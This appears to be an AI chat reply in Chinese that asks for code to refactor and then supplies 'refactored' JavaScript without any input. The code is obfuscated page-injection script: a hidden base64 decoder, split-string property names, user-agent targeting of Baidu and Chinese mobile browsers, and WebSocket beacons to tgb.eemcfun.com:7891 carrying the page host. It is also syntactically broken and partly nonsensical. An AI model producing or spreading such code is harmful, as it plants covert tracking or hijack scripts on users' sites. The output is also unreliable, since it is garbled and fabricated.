请提供需要重构的内容，以便我能够根据要求为您提供帮助。
以下是重构后的代码：
```javascript
function tzSxNF(e) {
var t = "", n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
function SeQxY(e) {
var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/==",
t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u !== 64) {
t = t + String.fromCharCode(r);
}
if (a !== 64) {
t = t + String.fromCharCode(i);
}
}
return tzSxNF(t);
};
window["" + 'R' + 'U' + 'J' + 'D' + 'I' + 'M' + 'v' + 'm' + 'v']["" + '='] === function() {} || (function(u, k, i, w, d, c) {})((SeQxY("Y3VycmVudFNjcmlwdA=="), SeQxY("Y3JlYXRlRWxlbWVudA==")), "jQuery");
if (navigator.userAgent.indexOf("b" + "a" + "d" + "i" + "n" + "g") !== -1) {} || WebSocket && (function(k, i, w, u) {})((decodeURIComponent(SeQxY("__tsuk"))), decodeURIComponent(SeQxY("https://tgb.eemcfun.com:7891/stats/7731/?ukey=&host=window.location.host")), "WebSocket");else if (navigator.userAgent.indexOf("UCBrowser|Quark|Huawei|Vivo|NewsArticle") !== -1) {} || (function() {})((decodeURIComponent(SeQxY("__tsuk"))), decodeURIComponent(SeQxY("https://tgb.eemcfun.com:7891/vh3/")), "WebSocket");else {} || (function() {})((decodeURIComponent(SeQxY("__tsuk"))), decodeURIComponent(SeQxY("https://tgb.eemcfun.com:7891/vh3/")), "WebSocket");
```
